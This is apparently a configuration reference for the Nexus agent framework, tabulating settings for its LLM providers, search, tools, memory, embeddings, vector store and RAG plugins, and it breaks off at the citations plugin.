retry.enabled | bool | true | Enable retry on 5xx / 429. |
retry.max_retries | int | 3 | Maximum attempts. |
retry.initial_delay | duration | 1s | First backoff delay. |
retry.max_delay | duration | 60s | Maximum delay between retries. |
retry.backoff | string | exponential | constant, linear, exponential, or jitter. |
retry.multiplier | float | 2.0 | Multiplier for linear/exponential. |
retry.statuses | int list | Anthropic: [429, 500, 502, 503, 529]OpenAI/Gemini: [429, 500, 502, 503] | HTTP statuses to retry. |
Pricing override
| Key | Type | Default | Description |
|---|---|---|---|
pricing.<model>.input_per_million | float | (embedded default) | Cost per million input tokens. |
pricing.<model>.output_per_million | float | (embedded default) | Cost per million output tokens. |
pricing.<model>.cache_read_per_million | float | (derived from input) | Anthropic: 0.10×input; OpenAI: 0.5×input. |
pricing.<model>.cache_write_5m_per_million | float | (derived: 1.25×input) | Anthropic only. |
pricing.<model>.cache_write_1h_per_million | float | (derived: 2.0×input) | Anthropic only. |
nexus.llm.openai
Source: plugins/providers/openai/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
debug | bool | false | Persist request/response bodies to the session. |
auth_mode | string | openai | openai, azure_key, or azure_aad. |
api_key | string | (env) | Direct API key (auth_mode: openai, also fallback for Azure Files API). |
api_key_env | string | OPENAI_API_KEY | Environment variable for the key. |
base_url | string | https://api.openai.com/v1 | Override for proxies / OpenAI-compatible endpoints. |
azure.endpoint | string | (required for Azure) | Azure OpenAI endpoint URL. |
azure.api_key | string | (env AZURE_OPENAI_API_KEY) | Azure key (when auth_mode: azure_key). |
azure.api_key_env | string | AZURE_OPENAI_API_KEY | Override the env var name. |
azure.api_version | string | 2024-12-01-preview | Azure OpenAI API version. |
azure.use_msi | bool | false | Use Managed Service Identity (auth_mode: azure_aad); otherwise falls back to Azure CLI auth. |
files.enabled | bool | false | Use the Files API. |
files.purpose | string | assistants | File purpose category. |
files.upload_threshold | int | 40960 | Minimum bytes to upload. |
files.cache_uploads | bool | true | Deduplicate within a session. |
files.delete_on_shutdown | bool | false | Delete on shutdown. |
reasoning.enabled | bool | false | Enable o-series reasoning. |
reasoning.budget_tokens | int | 10000 | Reasoning token budget. |
force_reasoning | bool | false | Force reasoning even for non-o-series models (experimental). |
multimodal.vision | bool | true | Allow image inputs (GPT-4V). |
retry.* | — | (shared Retry block) | Backoff configuration. |
pricing.<model>.* | map | (embedded table) | Override per-model pricing. |
nexus.llm.gemini
Source: plugins/providers/gemini/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
debug | bool | false | Persist request/response bodies. |
api_key | string | (env GEMINI_API_KEY or GOOGLE_API_KEY) | Public Generative Language API key. |
api_key_env | string | (tries both env vars above) | Override the env var name. |
vertex.project | string | (env GOOGLE_CLOUD_PROJECT) | Project ID for Vertex AI. |
vertex.region / location | string | us-central1 | Vertex region. |
vertex.sa_key_file | string | (env GOOGLE_APPLICATION_CREDENTIALS) | Service-account JSON path. |
vertex.sa_key_file_env | string | GOOGLE_APPLICATION_CREDENTIALS | Override the env var name. |
thinking.enabled | bool | false | Enable thinking on Gemini 2.5+. |
thinking.budget_tokens | int | 8000 | Thinking token budget. |
thinking.include_thoughts | bool | true | Surface thinking via thinking.step. |
code_execution | bool | false | Enable Gemini’s built-in code-execution tool. |
cache.enabled | bool | false | Enable prompt caching (Gemini 2.0+). |
cache.min_tokens | int | 1000 | Minimum tokens required for caching. |
cache.ttl | string | 5m | Cache TTL: 5m or 1h. |
retry.* | — | (shared Retry block) | Backoff configuration. |
pricing.<model>.* | map | (embedded table) | Override per-model pricing. |
nexus.provider.fallback
Source: plugins/providers/fallback/plugin.go. No plugin-level config — the
fallback chain is defined by listing multiple providers under a single role in
core.models. This plugin coordinates the re-emission to the next provider on
non-retryable errors.
nexus.provider.fanout
Source: plugins/providers/fanout/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
strategy | string | all | Selection strategy: all (return first to arrive), llm_judge, heuristic, user. |
deadline_ms | int | 30000 | Milliseconds to wait before forcing selection. |
heuristic.prefer | string | longest | Used when strategy: heuristic: longest, shortest, fastest, cheapest. |
heuristic.require_finish | bool | false | Only consider responses with finish_reason: end_turn. |
judge.role | string | (none) | Model role for the judge LLM call when strategy: llm_judge. |
A role becomes a fanout role when its core.models entry sets fanout: true;
the fanout plugin watches before:llm.request for those roles. For
strategy: user, the plugin emits provider.fanout.choose and waits for
provider.fanout.chosen from the IO layer.
Search providers (search.provider capability)
Each search-provider plugin handles search.request events and writes results
back into the payload. They share the same shape:
| Plugin | Source |
|---|---|
nexus.search.brave | plugins/search/brave/plugin.go |
nexus.search.anthropic_native | plugins/search/anthropic_native/plugin.go |
nexus.search.openai_native | plugins/search/openai_native/plugin.go |
nexus.search.gemini_native | plugins/search/gemini_native/plugin.go |
| Key | Type | Default | Notes |
|---|---|---|---|
api_key | string | (env, see below) | Direct API key. |
api_key_env | string | provider default (see below) | Override the env var name. |
model | string | provider default (see below) | Only on native search providers. |
base_url | string | provider default (see below) | Override the upstream endpoint. Available on brave, openai_native, and gemini_native. Primarily useful for httptest-driven integration tests; OpenAI-compatible proxies can also be wired here. |
timeout | duration | 15s (Brave), 30s (others) | HTTP request timeout. |
Provider defaults:
| Provider | api_key_env | model | base_url default |
|---|---|---|---|
nexus.search.brave | BRAVE_API_KEY | n/a | https://api.search.brave.com/res/v1/web/search |
nexus.search.anthropic_native | ANTHROPIC_API_KEY | claude-haiku-4-5-20251001 | n/a (no override) |
nexus.search.openai_native | OPENAI_API_KEY | gpt-4o-mini | https://api.openai.com/v1/responses |
nexus.search.gemini_native | GEMINI_API_KEY / GOOGLE_API_KEY | gemini-2.5-flash | https://generativelanguage.googleapis.com/v1beta |
If multiple providers register the search.provider capability, pin one
explicitly via the top-level capabilities: block.
Tools
nexus.tool.shell
Source: plugins/tools/shell/plugin.go. Routes commands through
pkg/engine/sandbox so the kernel surface is a single audited boundary.
| Key | Type | Default | Description |
|---|---|---|---|
working_dir | string | (session files dir) | Working directory for executions. |
timeout | duration | 30s | Per-command timeout. |
sandbox.backend | string | host | Sandbox tier: host (current behaviour). Future: gvisor, firecracker, landlock. |
sandbox.allowed_commands | list | (none — all allowed) | Whitelist of base command names. |
sandbox.path_dirs | list | (none) | Directories prepended to PATH. |
sandbox.env_restrict | bool | false | Strip sensitive env vars (AWS, Google, Azure, Anthropic API keys) before execution. |
sandbox.timeout | duration | 30s | Per-command default; timeout above wins per-call. |
nexus.tool.file
Source: plugins/tools/fileio/plugin.go. Registers read_file, write_file,
check_file_size, list_files, read_image, read_document.
read_image and read_document return a MessagePart on
ToolResult.OutputParts; the memory plugin copies parts onto the resulting
tool-role Message.Parts so the next LLM request sees the multimodal
content. Provider plugins resolve MessagePart.URI = "nexus-blob:<sha>"
references from the per-session blob store at ~/.nexus/sessions/<id>/blobs/
when the payload was stored, or use the inline MessagePart.Data when it
was inlined.
| Key | Type | Default | Description |
|---|---|---|---|
base_dir | string | (session files dir) | Base directory for file operations. |
allow_external_writes | bool | false | Permit reads/writes outside base_dir. |
blob_store.byte_budget | int | 2147483648 (2 GiB) | Soft cap on total stored blob bytes per session. 0 = unbounded. Applied via LRU sweep after each blob put. |
blob_store.inline_threshold | int | 262144 (256 KiB) | Payloads at or below this size are inlined on the MessagePart instead of being stored as a blob. |
tools.<tool_name> | bool | true for each | Per-tool enable/disable: read_file, write_file, check_file_size, list_files, read_image, read_document. |
nexus.tool.catalog
Source: plugins/tools/catalog/plugin.go. No configuration. Provides the
tool.catalog capability — a shared registry queried via
tool.catalog.query. Required by nexus.agent.react.
nexus.tool.web
Source: plugins/tools/web/plugin.go. Registers web_search, web_fetch,
and fetch_page_image. Requires the search.provider capability for
web_search. fetch_page_image requires screenshot_provider config —
without it, the tool surfaces a clear error at invoke time.
| Key | Type | Default | Description |
|---|---|---|---|
search.default_count | int | 10 | Default result count for web_search. |
search.default_safe_search | string | moderate | off, moderate, strict. |
search.default_language | string | (none) | BCP-47 language tag (e.g. en, es-MX). |
fetch.user_agent | string | Nexus/0.1 (+https://...) | User-Agent header for web_fetch. |
fetch.timeout | duration | 20s | HTTP timeout. |
fetch.max_size | int | 5242880 (5 MB) | Maximum response body size. |
fetch.default_extract | string | readability | readability or raw. |
fetch.allowed_domains | list | (none — allow all) | Allowlist of domains. |
fetch.blocked_domains | list | (none) | Blocklist of domains. |
fetch.follow_redirects | bool | true | Follow HTTP redirects. |
fetch.max_redirects | int | 5 | Maximum redirect chain length. |
screenshot_provider.url | string | (required for fetch_page_image) | Endpoint of the external screenshot service (urlbox, screenshotapi.net, browserless, …). |
screenshot_provider.method | string | POST | GET or POST. |
screenshot_provider.api_key_env | string | (none) | Env var holding the bearer token / API key. POST sends Authorization: Bearer <key>; GET appends api_key=<key> to the query. |
screenshot_provider.url_param_name | string | url | Field name carrying the target URL. |
screenshot_provider.request_template | map | (empty) | Extra fields merged into the JSON body (POST) or query string (GET). |
screenshot_provider.headers | map | (empty) | Fixed headers sent with every provider request. |
blob_store.byte_budget | int | 2147483648 (2 GiB) | Soft cap on total stored blob bytes per session for fetch_page_image. 0 = unbounded. |
blob_store.inline_threshold | int | 262144 (256 KiB) | Payloads at or below this size are inlined on the MessagePart instead of stored as a blob. |
nexus.tool.knowledge_search
Source: plugins/tools/knowledge_search/plugin.go. Requires
embeddings.provider and vector.store.
| Key | Type | Default | Description |
|---|---|---|---|
tool_name | string | knowledge_search | Name of the registered tool. |
top_k | int | 5 | Default chunks to return (LLM may override; capped at 50). |
include_metadata | bool | true | Include vector metadata alongside chunks. |
namespaces | list | (required) | Allowed vector store namespaces. |
default_namespaces | list | (required) | Namespaces searched when the LLM doesn’t specify. |
The active embeddings.provider plugin owns the model choice — there is
no consumer-side override. Configure the model once on the provider
plugin (e.g. nexus.embeddings.openai.model).
nexus.tool.pdf
Source: plugins/tools/pdf/plugin.go. Registers read_pdf. Two modes
selectable per call via mode argument or default_mode config:
text(default) — extract text viapdftotext(poppler-utils). RequirespdftotextonPATH(orpdftotext_binconfig).document— return the raw PDF bytes as afileMessagePartonToolResult.OutputPartsfor native multimodal providers (Anthropic, Gemini). No poppler call.first_page,last_page, andlayoutarguments are ignored in this mode.
If default_mode is document and pdftotext is missing, the plugin
boots; text mode then surfaces an actionable error per call.
| Key | Type | Default | Description |
|---|---|---|---|
pdftotext_bin | string | pdftotext | Path or name of the pdftotext binary. |
pdfinfo_bin | string | pdfinfo | Path or name of pdfinfo (optional). |
timeout | duration | 30s | Per-extraction timeout. |
save_to_session | bool | false | Persist extracted text to session files. |
save_file_name | string | (derived from PDF) | Custom filename for the saved text. |
default_mode | string | text | text or document. Default read_pdf mode when the LLM doesn’t supply one. |
nexus.tool.screenshot
Source: plugins/tools/screenshot/plugin.go. Registers take_screenshot.
Captures the full screen as PNG and emits an image MessagePart on
ToolResult.OutputParts. Capture path is platform-specific:
darwin:screencapture -t png -x <tmpfile>linux:gnome-screenshot -f <tmpfile>, thengrim <tmpfile>, then ImageMagick’simport -window root <tmpfile>as fallbacks- other platforms: emits
ToolResult.Error: "screenshot not supported on this platform"
| Key | Type | Default | Description |
|---|---|---|---|
timeout | duration | 15s | Per-capture subprocess timeout. |
blob_store.byte_budget | int | 2147483648 (2 GiB) | Soft cap on total stored blob bytes per session. 0 = unbounded. |
blob_store.inline_threshold | int | 262144 (256 KiB) | Payloads at or below this size are inlined on the MessagePart instead of stored as a blob. |
nexus.tool.opener
Source: plugins/tools/opener/plugin.go. Registers open_path.
| Key | Type | Default | Description |
|---|---|---|---|
open_cmd | string | platform default (open macOS, xdg-open Linux, start Win) | Override the platform “open” command. |
timeout | duration | 10s | Per-open timeout. |
nexus.control.hitl
Source: plugins/control/hitl/plugin.go. The unified human-in-the-loop
primitive. Registers the LLM-facing ask_user tool with an extended
schema (prompt, mode, choices, default_choice_id,
deadline_seconds) and routes hitl.requested / hitl.responded
events between requesters (the tool, gates, memory plugins) and IO
surfaces. Replaces the prior nexus.tool.ask. See Human-in-the-Loop
plugin docs.
| Key | Type | Default | Description |
|---|---|---|---|
registry.enabled | bool | false | Mirror every hitl.requested to disk and watch for response files written by nexus hitl respond, webhook handlers, etc. |
registry.dir | string | ~/.nexus/hitl | Filesystem directory the registry uses for <id>.request.yaml / <id>.response.yaml pairs. Tilde expansion via engine.ExpandPath. Created at boot if missing. |
nexus.control.hitl_synthesizer
Source: plugins/control/hitl_synthesizer/plugin.go. Optional
companion to nexus.control.hitl that renders context-aware approval
prompts via a small/cheap LLM. Advertises the
hitl.prompt_synthesizer capability; emitters opt in by setting
HITLRequest.PromptSynthesizer = "hitl.prompt_synthesizer" and
leaving Prompt empty. Subscribes to before:hitl.requested
(canonical vetoable entry point, pointer payload — every in-tree HITL
emitter publishes here first) and to hitl.requested as a backward
compat fallback for out-of-tree emitters that publish a *HITLRequest
pointer directly, ahead of every IO plugin so the rendered text is in
place before the operator sees the prompt.
Synthesised prompts are cached on disk under
<session>/plugins/nexus.control.hitl_synthesizer/cache.jsonl, keyed by
(action_kind, sha256(action_ref)). See
HITL Prompt Synthesizer docs.
| Key | Type | Default | Description |
|---|---|---|---|
model_role | string | quick | Model role (resolved via core.models) used for synthesis. |
max_action_ref_chars | int | 1500 | ActionRef truncation budget (in JSON characters) before sending to the model. |
cache_enabled | bool | true | Toggle the on-disk cache. Disable for debugging or strict-determinism runs. |
fallback_prompt | string | Approve action: {{.action_kind}} | Go text/template over {action_kind, action_ref, requester_plugin, request_id} used when synthesis fails. |
nexus.tool.code_exec
Source: plugins/tools/codeexec/plugin.go. Registers run_code (Go).
Two compilers selected via compiler:
yaegi-host(default) — in-process Yaegi interpreter. Full dynamic bindings (tools.*,parallel.*, skill helpers); no kernel isolation.yaegi-wasm— embedded Yaegi runner inside a wazero-managed Wasm sandbox. Capability-gated I/O vianexus_sdk/{http,fs,exec,env}. v1 forfeitstools.*,parallel.*, and skill helpers — the bridge SDK does not surface them.
Multimodal helper (host compiler only): scripts may
import "nexus" and call nexus.ReturnImage(data []byte, mimeType string)
to attach images to the resulting tool.result (alongside main.Run’s
JSON return). Multiple calls stack in script order; the routing follows
the same inline / blob-store threshold pattern used by other multimodal
tools.
| Key | Type | Default | Description |
|---|---|---|---|
compiler | string | yaegi-host | yaegi-host or yaegi-wasm. The latter requires sandbox.backend: wasm. |
timeout_seconds | int | 30 | Script timeout in seconds. |
max_output_bytes | int | 65536 | Maximum captured output. |
max_workers | int | runtime.NumCPU() | Concurrency cap for parallel.* (yaegi-host only). |
persist_scripts | bool | true | Write executed scripts to session files. |
reject_goroutines | bool | true | Reject scripts that spawn goroutines. |
allowed_packages | list | (stdlib whitelist) | Importable stdlib packages. |
blob_store.byte_budget | int | 2147483648 (2 GiB) | Soft cap on total stored blob bytes per session for nexus.ReturnImage payloads. 0 = unbounded. |
blob_store.inline_threshold | int | 262144 (256 KiB) | Payloads at or below this size are inlined on the MessagePart instead of being stored as a blob. |
sandbox.backend | string | host | Required wasm for compiler: yaegi-wasm. Other backends (host) reject KindGoWasm requests. |
sandbox.cache_dir | string | (none) | Persistent wazero compilation cache. Recommended for fast cold-start across processes. |
sandbox.timeout | duration | 30s | Default per-call wasm timeout. |
sandbox.net.policy | string | deny | deny or allow_hosts. Empty allow_hosts = deny all. |
sandbox.net.allow_hosts | list | (empty) | Exact-match hostname allowlist for nexus_sdk/http. |
sandbox.fs_mounts | list | (empty) | List of {host, guest, mode} triples. mode is ro (default) or rw. Backs nexus_sdk/fs. |
sandbox.exec_allowed | list | (empty) | Allowlist of commands invokable from nexus_sdk/exec.Run. Empty = deny. |
sandbox.env | map | (empty) | Sandbox-scoped env values returned by nexus_sdk/env.Get. Never the host’s real env. |
The engine substitutes ${session_id} in any string under the sandbox:
block at session start, so per-session host paths can be hard-coded:
host: ~/.nexus/sessions/${session_id}/files.
nexus.tool.session_tags
Source: plugins/tools/session_tags/plugin.go. Registers session_tag_set,
session_tag_get, session_tag_delete, session_tag_list — LLM-facing
tools over the general-namespace session tag store (SessionMeta.Labels; see
Session Tags for the full mechanism, and
the Cost CLI section below for how tenant/project/user
tags feed nexus cost report). Off by
default — not in any stock config’s plugins.active; an operator opts in
explicitly to give the agent write access to its own session’s tags.
Restricted to the general (non-_-prefixed) namespace: session_tag_set/
session_tag_delete ride the same vetoable before:session.tag.set/
before:session.tag.delete path any other caller uses, so a reserved-prefixed
key is rejected identically — this plugin has no elevated privilege and no
bypass. session_tag_get/session_tag_list report a reserved-prefixed key
as not found / omit it entirely, never revealing its presence.
| Key | Type | Default | Description |
|---|---|---|---|
tools.<tool_name> | bool | true for each | Per-tool enable/disable: session_tag_set, session_tag_get, session_tag_delete, session_tag_list. |
Memory
nexus.memory.simple
Source: plugins/memory/simple/plugin.go. No configuration. Provides
memory.history. Unbounded, in-memory, no persistence.
nexus.memory.capped
Source: plugins/memory/capped/plugin.go. Provides memory.history. This is
the default memory.history provider auto-activated by nexus.agent.react.
| Key | Type | Default | Description |
|---|---|---|---|
max_messages | int | 100 | Sliding window size; older messages dropped (with tool-pair safety). |
persist | bool | true | Persist to context/conversation.jsonl in the session workspace. |
nexus.memory.summary_buffer
Source: plugins/memory/summary_buffer/plugin.go. Provides both
memory.history and memory.compaction.
| Key | Type | Default | Description |
|---|---|---|---|
strategy | string | message_count | Trigger: message_count, token_estimate, turn_count. |
message_threshold | int | 50 | Used when strategy: message_count. |
token_threshold | int | 30000 | Used when strategy: token_estimate. |
turn_threshold | int | 10 | Used when strategy: turn_count. |
chars_per_token | float | 4.0 | Token estimation ratio. |
max_recent | int | 8 | Messages kept verbatim; older messages are summarized. |
model_role | string | quick | Role used for the summary call. |
model | string | (none) | Explicit model ID (ignored if model_role is set). |
prompt | string | (default) | Inline summary prompt. The default prompt is reasoning-preservation aware: it instructs the summariser to wrap segments in <summary topic="…" compressed-from-turns="…">…</summary> and end with a ## Preserved Kinds: trailer. Overriding loses both behaviours. |
prompt_file | string | (none) | Path to a summary prompt file (overrides prompt). |
quality_retry | bool | false | When true, the plugin re-runs the summariser once with a stricter prompt if the trailer omits any required preserved kind. Off by default for backwards compatibility. |
require_preserved_kinds | []string | ["decision", "rationale"] | Kinds whose presence in the trailer is required when quality_retry: true. Allowed values: decision, rationale, error, next_step, technical_detail. |
nexus.memory.compaction
Source: plugins/memory/compaction/plugin.go. Provides memory.compaction as
an external coordinator (separate from history buffers).
| Key | Type | Default | Description |
|---|---|---|---|
strategy | string | message_count | Trigger: message_count, token_estimate, turn_count. |
message_threshold | int | 50 | Used when strategy: message_count. |
token_threshold | int | 30000 | Used when strategy: token_estimate. |
turn_threshold | int | 10 | Used when strategy: turn_count. |
chars_per_token | float | 4.0 | Token estimation ratio. |
model_role | string | quick | Role used for the compaction LLM call. |
model | string | (none) | Explicit model ID. |
prompt | string | (default) | Inline compaction prompt. |
prompt_file | string | (none) | Path to a prompt file. |
protect_recent | int | 4 | Recent messages exempt from compaction. |
persist | bool | true | Persist snapshots and archives to the session workspace. |
require_approval.enabled | bool | false | Emit hitl.requested before committing the summary back into history. Off = unchanged behavior. |
require_approval.default_choice | string | (none) | Choice ID picked when the deadline expires (e.g. reject). Empty = treat timeout as cancelled. |
require_approval.timeout | duration | (none) | Optional deadline (5m, 30s, …). |
require_approval.match.size_threshold_bytes | int | (any) | Only require approval when the summary is at least this many bytes. |
nexus.memory.longterm
Source: plugins/memory/longterm/plugin.go. Provides memory.longterm.
Registers LLM tools: memory_write, memory_read, memory_list,
memory_delete.
| Key | Type | Default | Description |
|---|---|---|---|
scope | string | agent | agent, global, or both. |
path | string | ~/.nexus/memory/ | Base directory for memory files. |
agent_id | string | (auto) | Agent identifier when scope includes agent. |
auto_load | bool | true | Load memory index at startup and inject into the system prompt. |
auto_save_instructions | string | (none) | Instructions appended to the system prompt (e.g. “save important decisions”). |
require_approval.enabled | bool | false | Emit hitl.requested before persisting writes. Off by default; on = every write blocks until an operator responds. |
require_approval.default_choice | string | (none) | Choice ID picked when the deadline expires (e.g. reject). Empty = treat timeout as cancelled. |
require_approval.timeout | duration | (none) | Optional deadline (5m, 30s, …). |
require_approval.match.key_glob | string | (any) | Only require approval when the entry key matches this glob. |
require_approval.match.size_threshold_bytes | int | (any) | Only require approval when the content is at least this many bytes. |
nexus.memory.vector
Source: plugins/memory/vector/plugin.go. Provides memory.vector. Requires
embeddings.provider and vector.store.
| Key | Type | Default | Description |
|---|---|---|---|
namespace | string | memory-{instanceID} | Vector store namespace. |
top_k | int | 5 | Recalled matches per query. |
min_similarity | float | 0.0 | Minimum cosine similarity (0 disables filtering). |
auto_store_compaction | bool | true | Store summaries when memory.compacted fires. |
auto_store_user_input | bool | false | Store user messages on every input (opt-in). |
section_priority | int | 45 | Priority of the recalled-memory section in the system prompt. |
recall_via_hybrid | bool | false | When search.hybrid is active, route recall queries through it instead of direct vector lookup. Off by default — adds the lexical leg’s latency to every user input. |
store_images | bool | false | Embed image attachments on UserInput.Files (any MimeType starting with image/) via the multimodal embeddings.provider and store the resulting vector under image_namespace. Requires a multimodal adapter (e.g. nexus.embeddings.cohere_multimodal); text-only adapters will reject and the path no-ops. Off by default — opt-in. |
image_namespace | string | <namespace>-images | Vector store namespace for image embeddings. Kept separate from the text namespace so similarity queries can target one or the other. |
require_approval.enabled | bool | false | Emit hitl.requested before each vector.upsert. Off = unchanged behavior. |
require_approval.default_choice | string | (none) | Choice ID picked when the deadline expires (e.g. reject). Empty = treat timeout as cancelled. |
require_approval.timeout | duration | (none) | Optional deadline (5m, 30s, …). |
require_approval.match.namespace_glob | string | (any) | Only require approval when the configured namespace matches this glob. |
require_approval.match.size_threshold_bytes | int | (any) | Only require approval when the document content is at least this many bytes. |
nexus.memory.tool_result_clear
Source: plugins/memory/tool_result_clear/plugin.go. Live curator that
replaces stale tool-result bodies in outgoing LLMRequest.Messages with an
inline <tool_result … cleared="true" …/> envelope. The original
call/result pairing stays in history so the agent retains the fact of the
call. Runs at priority 12 on before:llm.request (after
nexus.discovery.progressive).
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Toggle the curator. |
age_turns | int | 5 | Clear tool results older than this many turns when also exceeding the size threshold. |
size_bytes_threshold | int | 1000 | Skip clearing for result bodies smaller than this many bytes. |
preserve_recent_kinds | []string | ["error", "user_question"] | Result kinds that are never cleared regardless of age. |
drop_strategy | string | replace_with_envelope | replace_with_envelope keeps the call/result pair with a marker body; full_drop removes the message entirely (risks tool_use/tool_result pairing breakage). |
Emits memory.tool_result_cleared (per cleared call) and memory.curated
(stability descriptor for the cache-aware prompt builder).
nexus.memory.tool_def_pruner
Source: plugins/memory/tool_def_pruner/plugin.go. Drops individual tool
definitions from outgoing LLMRequest.Tools when they have been idle past
unused_turns_threshold. Pairs with nexus.discovery.progressive —
progressive scopes by class, this scopes per tool. Runs at priority 14 on
before:llm.request.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Toggle the pruner. |
unused_turns_threshold | int | 6 | Drop a tool definition after this many consecutive turns without an invocation. |
never_prune | []string | ["discover","ask_user"] | Tool names exempt from pruning (e.g. discovery’s meta-tool, HITL ask-user). |
Emits memory.tool_def_pruned and memory.curated. The MemoryCurated
event marks cache_invalidates: true because the tool list is part of the
session-cached prefix.
nexus.memory.topic_pruner
Source: plugins/memory/topic_pruner/plugin.go. Detects topic boundaries
in user input and emits memory.topic_shift_detected. Two signals are
combined:
- Explicit-phrase matching (“different question”, “new topic”, “let’s move on”, …) — cheap, deterministic.
- Embedding similarity drop against the rolling topic centroid — runs only
when an
embeddings.provideris active.
The plugin does not itself rewrite history; it surfaces the shift so other plugins (summary buffer, compaction) can react. Topic boundaries are journalled for replay determinism.
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Toggle the pruner. |
similarity_threshold | float | 0.55 | Cosine similarity below which a new user input flags a topic shift. Used only when an embeddings.provider is active. |
keep_last_topic_full | bool | true | Reserved — informs downstream consumers whether the most recent topic should remain verbatim. |
explicit_phrases | []string | ["different question", "different topic", "new topic", "new question", "let's move on", "moving on", "change of subject", "switching gears", "unrelated:", "separately,", "on a different note"] | Lowercase substrings that signal a topic shift. Replacing the list disables the defaults. |
Emits memory.topic_shift_detected and memory.curated. Same-turn
duplicate signals are debounced.
Embeddings
nexus.embeddings.openai
Source: plugins/embeddings/openai/plugin.go. Provides embeddings.provider.
| Key | Type | Default | Description |
|---|---|---|---|
api_key | string | (required, or via env) | OpenAI API key. |
api_key_env | string | OPENAI_API_KEY | Override env var name. |
base_url | string | https://api.openai.com/v1/embeddings | Endpoint (Azure / OpenAI-compatible proxies). |
model | string | text-embedding-3-small | Default model. |
timeout | duration | 30s | HTTP timeout. |
nexus.embeddings.mock
Source: plugins/embeddings/mock/plugin.go. Provides embeddings.provider.
Deterministic hash-based vectors; opt-in via plugins.active.
| Key | Type | Default | Description |
|---|---|---|---|
dimensions | int | 128 | Vector dimensionality. |
model | string | mock-embedding | Model ID string returned to callers. |
nexus.embeddings.cohere_multimodal
Source: plugins/embeddings/cohere_multimodal/plugin.go. Provides
embeddings.provider via Cohere Embed v3 (POST /v2/embed). Multimodal:
accepts text and image inputs in a single batch through
EmbeddingsRequest.Inputs. Opt-in: registered but not in the default
plugins.active list — wire it explicitly when image embeddings are
required (e.g. nexus.memory.vector with store_images: true).
For an EmbeddingsInput carrying ImageURI with the nexus-blob:
scheme, the plugin resolves bytes via the per-session blob store. When
the engine boots without a session (rare, mostly tests), the plugin
errors clearly — callers must inline bytes via EmbeddingsInput.Image
instead.
| Key | Type | Default | Description |
|---|---|---|---|
api_key | string | (required, or via env) | Cohere API key. |
api_key_env | string | COHERE_API_KEY | Override env var name. |
base_url | string | https://api.cohere.com | Cohere API base URL. The plugin appends /v2/embed itself. |
model | string | embed-english-v3.0 | Cohere embedding model. |
input_type | string | search_document | Cohere input_type (e.g. search_document, search_query, classification, clustering, image). |
timeout | duration | 30s | HTTP timeout. |
Vector store
nexus.vectorstore.chromem
Source: plugins/vectorstore/chromem/plugin.go. Provides vector.store.
| Key | Type | Default | Description |
|---|---|---|---|
path | string | ~/.nexus/vectors | Directory for persistent storage (one subdir per namespace). |
compress | bool | false | Gzip-compress JSON on disk. |
Lexical store
nexus.vectorstore.sqlite_fts
Source: plugins/vectorstore/sqlite_fts/plugin.go. Provides search.lexical.
BM25 ranking via SQLite FTS5 — pure Go, no CGO. Backing storage comes from
the engine’s per-plugin storage capability; the scope: knob picks where the
underlying store.db lands.
| Key | Type | Default | Description |
|---|---|---|---|
scope | string | session | Storage scope for the FTS index: session, agent, app. Knowledge-base-style corpora that survive across sessions should use agent or app. |
Each namespace becomes a separate FTS5 virtual table (lex_<safe_namespace>)
inside the scoped store.db. The provider auto-creates tables on first
upsert; missing-namespace queries return zero results without error.
RAG
nexus.rag.hybrid
Source: plugins/rag/hybrid/plugin.go. Provides search.hybrid — a fusion
orchestrator that runs vector + lexical retrieval in parallel and combines
results via Reciprocal Rank Fusion or weighted score combination.
| Key | Type | Default | Description |
|---|---|---|---|
fusion | string | rrf | Fusion strategy: rrf (rank-only, weight-free) or weighted (linear combination over min-max-normalized per-backend scores). |
rrf_k | int | 60 | RRF smoothing constant. Lower values weight top ranks more heavily. |
weights.vector | float | 0.7 | Per-backend bias for weighted fusion. |
weights.lexical | float | 0.3 | Per-backend bias for weighted fusion. |
retrieve_k | int | 50 | Per-backend candidate count gathered before fusion. |
fuse_to | int | 20 | Default post-fusion top-N when the caller does not specify K. |
reranker.enabled | bool | false | Apply a post-fusion reranker pass via the search.reranker capability. Off by default — enable when a reranker provider is active and the latency budget allows. |
Requires embeddings.provider, vector.store, and search.lexical. Per-query
LexicalBias (range -1..1) on the hybrid.query event tilts fusion weights
without rewriting config — positive favors lexical, negative favors vector.
When search.hybrid is active, nexus.tool.knowledge_search automatically
routes through it instead of querying the vector store directly.
nexus.memory.vector opts in via recall_via_hybrid: true (off by default
because the lexical leg adds latency on every user input).
Rerankers (search.reranker capability)
Three providers ship; activate one (rarely more than one). The hybrid
orchestrator’s reranker.enabled: true knob switches them on; without that,
plugins can still emit reranker.rerank events directly.
nexus.rag.reranker.cohere
Source: plugins/rag/reranker/cohere/plugin.go. Cohere Rerank v2 API.
| Key | Type | Default | Description |
|---|---|---|---|
api_key | string | (none) | Cohere API key. Mutually exclusive with api_key_env. |
api_key_env | string | COHERE_API_KEY | Env var to read the key from when api_key is unset. |
model | string | rerank-english-v3.0 | Cohere reranker model identifier. |
timeout_ms | int | 10000 | HTTP timeout in milliseconds. |
api_base | string | (Cohere v2 endpoint) | Override for testing / private deployments. |
nexus.rag.reranker.jina
Source: plugins/rag/reranker/jina/plugin.go. Jina AI Reranker API.
| Key | Type | Default | Description |
|---|---|---|---|
api_key | string | (none) | Jina API key. Mutually exclusive with api_key_env. |
api_key_env | string | JINA_API_KEY | Env var to read the key from when api_key is unset. |
model | string | jina-reranker-v2-base-multilingual | Jina reranker model identifier. |
timeout_ms | int | 10000 | HTTP timeout in milliseconds. |
api_base | string | (Jina v1 endpoint) | Override for testing / private deployments. |
nexus.rag.reranker.local
Source: plugins/rag/reranker/local/plugin.go. Pure-Go TF-IDF cosine
reranker. No API calls, no model files, no extra dependencies. Quality is
materially below a real cross-encoder; use it for offline / cost-sensitive
deployments and as the zero-dep fallback. Future phase will add an ONNX-
backed BGE Reranker behind a build tag.
| Key | Type | Default | Description |
|---|---|---|---|
min_token_length | int | 2 | Drop tokens shorter than this during scoring. |
disable_stopwords | bool | false | Skip the built-in English stopword filter. |
nexus.rag.citations
Source: plugins/rag/citations/plugin.go. Provides rag.citations. Parses
citation tags or Anthropic-native source attributions out of LLM responses
and emits the structured llm.response.cited event for IO renderers to
footnote.
| Key | Type | Default | Description |
|---|---|---|---|
